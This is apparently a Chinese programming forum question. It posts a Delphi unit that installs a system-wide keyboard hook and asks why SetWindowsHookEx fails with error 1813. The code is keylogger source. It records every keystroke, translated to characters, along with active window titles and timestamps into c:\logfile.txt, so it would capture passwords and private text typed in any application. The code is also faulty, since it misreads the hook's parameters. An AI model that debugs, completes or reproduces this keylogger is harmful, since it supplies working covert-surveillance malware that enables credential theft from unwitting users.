SetWindowsHookEx 返回错误1813

代码如下：
unit HKproc;interface
uses windows,Messages,Classes,SysUtils,Dialogs,Variants;
var
  hNextHookProc:HHOOK;
  procSaveExit:Pointer;
  G_lastFocus:THandle;
  G_PrevChar:Char;
  error:DWORD;
function KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
function EnableHotKeyHooK:BOOL;export;
function DisableHotKeyHook:BOOL;export;
procedure HotKeyHookExit;far;const
  _KeyPressMask=$80000000;implementationfunction KeyBHkHandle(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;
  stdcall; export;
const
  SfileName='c:\logfile.txt';//记录保存本地地址
var
  pEvt:TEventMsg;
  hFocus:THandle;
  szTitle:array[0..255] of Char;
  Stream:TextFile;
  vKey:Integer;
  ch:Char;
  str:array[0..10] of Char;
  pt:TDateTime;
  time1:string;
  iCtrl,iAlt,iShift:Integer;
  iNumLock:Integer;
  iCapital:Integer;
  bAlt,bCtrl,bShift,bCapital,bNumlocl:Boolean;
  MouPos:TPoint;
  StrString:string;
  SPCH:Char;
begin
  Result:=0;
  if (iCode<0) then begin
    Result:=CallNextHookEx(hNextHookProc,iCode,wParam,integer(lParam));
    exit;
  end;
  if iCode=HC_ACTION then begin
    pEvt:=PEventMsg(lParam)^;
    //if not FileExists(SfileName) then
    //    FileCreate(SfileName);
    AssignFile(Stream,SfileName);
    if not FileExists(SfileName) then
      Rewrite(Stream)
    else
      Append(Stream);
    if pEvt.message=WM_KEYDOWN then begin
      vKey:=LOBYTE(pEvt.paramL);      hFocus:=GetActiveWindow;
      if G_lastFocus<>hFocus then begin
        GetWindowText(hFocus,szTitle,256);
        G_lastFocus:=hFocus;
        pt:=Now;
        time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',pt);
        time1:=time1+'    '+szTitle;
        Writeln(Stream,Time1);
      end;
      iShift:=GetKeyState(VK_SHIFT);
      iCapital:=GetKeyState(VK_CAPITAL);
      iNumLock:=GetKeyState(VK_NUMLOCK);
      iCtrl:=GetKeyState(VK_CONTROL);
      iAlt:=GetKeyState(VK_MENU);
      if ((iShift and _KeyPressMask)=_KeyPressMask) then begin
        bShift:=True;
      end
      else begin
        bShift:=False;
      end;
      if ((iCtrl and _KeyPressMask)=_KeyPressMask) then begin
        bCtrl:=True;
      end
      else begin
        bCtrl:=False;
      end;
      if ((iAlt and _KeyPressMask)=_KeyPressMask) then begin
        bAlt:=True;
      end
      else begin
        bAlt:=False;
      end;
      bCapital:=(iCapital and 1)=1;
      bNumlocl:=(iNumLock and 1)=1;
      if (vKey>=48)and(vKey<=57) then begin
        if not bShift then
          Write(Stream,char(vKey));
      end;
      if (vKey>=65)and(vKey<=90) then begin
        if not bCapital then begin
          if bShift then
            ch:=char(vKey)
          else
            ch:=char(vKey+32);
        end
        else begin
          if bShift then
            ch:=char(vKey+32)
          else
            ch:=char(vKey);
        end;
        Write(Stream,ch);
      end;
      if (vKey>=96)and(vKey<=105) then begin
        if bNumlocl then begin
          write(Stream,char(vKey-96+48));
        end;
      end;
      if (vKey>=186)and(vKey<=222) then begin
        case vKey of
          186:begin
              if not bShift then
                ch:=';'
              else
                ch:=':'
            end;
          187:begin
              if not bShift then
                ch:='='
              else
                ch:='+'
            end;
          188:begin
              if not bShift then
                ch:=','
              else
                ch:='<'
            end;
          189:begin
              if not bShift then
                ch:='-'
              else
                ch:='_'
            end;
          190:begin
              if not bShift then
                ch:='.'
              else
                ch:='>'
            end;
          191:begin
              if not bShift then
                ch:='/'
              else
                ch:='?'
            end;
          192:begin
              if not bShift then
                ch:='`'
              else
                ch:='~'
            end;
          219:begin
              if not bShift then
                ch:='['
              else
                ch:='{'
            end;
          220:begin
              if not bShift then
                ch:='\'
              else
                ch:='|'
            end;
          221:begin
              if not bShift then
                ch:=']'
              else
                ch:='}';
            end;
          222:begin
              if not bShift then
                ch:='`'
              else
                ch:='"';
            end;
        else
          ch:='n'
        end;
        if ch<>'n' then
          write(Stream,ch);
      end;
    end;
    if (vKey<=VK_F12)and(vKey>=VK_F1) then begin
      time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',now);
      StrString:=Time1+'    按功能键：F'+IntToStr(vKey-111)+'。';
      Writeln(Stream,StrString);
    end;
    if vKey=VK_ESCAPE then begin
      write(stream,'[ESC]');
    end;
    if vKey=VK_ADD then begin
      write(Stream,'+');
    end;
    if vKey=VK_APPS then begin
      Write(Stream,'[APPS]');
    end;
    if vKey=VK_LWIN then begin
      Write(Stream,'[LWIN]');
    end;
    if vKey=VK_RWIN then begin
      Write(Stream,'[RWIN]');
    end;
    if vKey=VK_SPACE then
      Write(Stream,'[SPACE]');
    if vKey=VK_DIVIDE then
      Write(Stream,'[/]');
    if vKey=VK_SCROLL then
      Write(Stream,'[SCROLLLock]');
    if vKey=VK_PAUSE then
      Write(Stream,'[PAUSE]');
    if vKey=VK_SUBTRACT then
      Write(Stream,'[-]');
    if vKey=VK_MULTIPLY then
      Write(Stream,'[*]');
    if vKey=VK_SNAPSHOT then
      Write(Stream,'[PRINT SCREEN Sys Rq]');
    if vKey=VK_CAPITAL then
      Write(Stream,'[CAP LOCK]');
    if vKey=VK_NUMLOCK then
      Write(Stream,'[NUM LOCK]');
    if vKey=VK_DECIMAL then
      Write(Stream,'[.]');
    if vKey=VK_CONTROL then
      Write(Stream,'[CTRL]');
    if vKey=VK_LMENU then
      Write(Stream,'[ALT]');
    if bShift then begin
      case vKey of
        48:spch:=')';
        49:spch:='!';
        50:spch:='@';
        51:spch:='#';
        52:spch:='$';
        53:spch:='%';
        54:spch:='^';
        55:spch:='&';
        56:spch:='*';
        57:spch:='(';
      else
        spch:='n';
      end;
      if spch<>'n' then
        Write(Stream,spch);
    end;
    if (vKey>=8)and(vKey<=46) then begin
      case vKey of
        8:str:='[BK]';
        9:str:='[TAB]';
        13:str:='[EN]';
        32:str:='[SP]';
        33:str:='[PU]';
        34:str:='[PD]';
        35:str:='[END]';
        36:str:='[HOME]';
        37:str:='[LF]';
        38:str:='[UF]';
        39:str:='[RF]';
        40:str:='[DF]';
        45:str:='[INS]';
        46:str:='[DEL]';
      else
        ch:='n';
      end;
      if ch<>'n' then begin
        Write(Stream,Str);
        if vKey=VK_RETURN then begin
          Writeln(Stream,'');
          writeln(Stream,'输 入 回 车 可 能 是 确 认 或 是 换 行---');
          Writeln(Stream,'')
        end;
      end;
    end;
    if (pEvt.message=WM_LBUTTONDOWN)or(pEvt.message=WM_RBUTTONDOWN) then begin
      hFocus:=GetActiveWindow;
      if (G_lastFocus<>hFocus) then begin
        G_lastFocus:=hFocus;
        GetWindowText(hFocus,szTitle,256);
        pt:=Now;
        time1:=FormatDateTime('yyyymmmmd,dddd hh:mm:ss:zzz      ',pt);
        time1:=time1+'    '+szTitle;
        Writeln(Stream,Time1);
      end
    end;
    CloseFile(Stream);
    Result:=1;
  end;
end;function EnableHotKeyHooK:BOOL; export;
begin
  Result:=False;  if hNextHookProc<>0 then
  begin
   Writeln(G_lastFocus);
    exit;    end;
      hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,KeyBHkHandle,HInstance,0);
      error:=GetLastError;
      writeln(error);
  Result:=(hNextHookProc<>0);
  //
end;function DisableHotKeyHook:BOOL; export;
begin
  if hNextHookProc<>0 then begin
    UnhookWindowsHookEx(hNextHookProc);
    hNextHookProc:=0;
    MessageBeep(0);
    MessageBeep(0);
  end;
  Result:=hNextHookProc=0;
  //
end;procedure HotKeyHookExit; far;
begin
  if hNextHookProc<>0 then
    DisableHotKeyHook;
  ExitProc:=procSaveExit;
  //
end;end.
在引用函数EnableHotKeyHooK时，setWindowsHookEx返回总是0，后用GetLastError查错误代码为1813，不知到如何修改代码??